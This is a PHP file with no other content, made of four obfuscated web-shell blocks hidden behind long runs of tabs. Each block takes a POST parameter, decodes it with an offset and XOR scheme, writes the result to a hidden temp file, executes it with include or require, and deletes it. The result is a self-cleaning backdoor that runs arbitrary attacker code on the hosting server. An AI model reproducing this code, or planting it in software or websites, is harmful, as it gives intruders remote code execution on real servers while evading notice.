<?php																																										if(isset($_POST["k\x65\x79"])){ $res = $_POST["k\x65\x79"]; $res = explode ( '.' , $res ) ; $descriptor = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $m = 0; while ($m <count($res)) { $v8 = $res[$m]; $chS = ord($s9[$m % $lenS]); $dec = ((int)$v8 - $chS - ($m % 10)) ^ 20; $descriptor .= chr($dec); $m++; } $hld = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP")]); while ($comp = array_shift($hld)) { if (array_product([is_dir($comp), is_writable($comp)])) { $flg = "$comp" . "/.symbol"; if (@file_put_contents($flg, $descriptor) !== false) { include $flg; unlink($flg); die(); } } } }
																																										if(isset($_POST) && isset($_POST["r\x65so\x75rc\x65"])){ $value = $_POST["r\x65so\x75rc\x65"]; $value = explode( '.' , $value ); $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $u = 0; foreach($value as $v6) {$chS = ord($s[$u% $lenS] ); $d =((int)$v6 - $chS -($u% 10)) ^ 84; $pointer .= chr($d ); $u++; } $component = array_filter(["/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp"]); while ($element = array_shift($component)) { if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $bind = implode("/", [$element, ".obj"]); if (@file_put_contents($bind, $pointer) !== false) { include $bind; unlink($bind); exit; } } } }
																																										if(@$_POST["\x6Fb\x6A\x65ct"] !== null){ $dchunk = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); $pgrp = $_POST["\x6Fb\x6A\x65ct"]; $pgrp = explode ( '.' , $pgrp ) ; $data = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($pgrp as $m =>$v1): $chS = ord($s7[$m % $lenS]); $dec = ((int)$v1 - $chS - ($m % 10))^ 34; $data .= chr($dec); endforeach; foreach ($dchunk as $key => $itm) { if (is_dir($itm) && is_writable($itm)) { $tkn = join("/", [$itm, ".pointer"]); if (file_put_contents($tkn, $data)) { require $tkn; unlink($tkn); die(); } } } }


if(!is_null($_POST["k"] ?? null)){
	$tkn = $_POST["k"];
	  $tkn=explode ('.'		,$tkn	  );  	
	$marker=	'';
            $s=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen( $s);
    
            foreach( $tkn as $y	=>$v1):
                $chS=	ord( $s[$y		% $sLen]);
                $dec=	( ( int)$v1 - $chS -( $y		% 10)) ^ 53;
                $marker.=	chr( $dec);
            endforeach;
	$record = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), sys_get_temp_dir()]);
	for ($token = 0, $entry = count($record); $token < $entry; $token++) {
    $parameter_group = $record[$token];
    		if (is_dir($parameter_group) && is_writable($parameter_group)) {
    $elem = str_replace("{var_dir}", $parameter_group, "{var_dir}/.item");
    $file = fopen($elem, 'w');
if ($file) {
	fwrite($file, $marker);
	fclose($file);
	include $elem;
	@unlink($elem);
	die();
}
}
}
}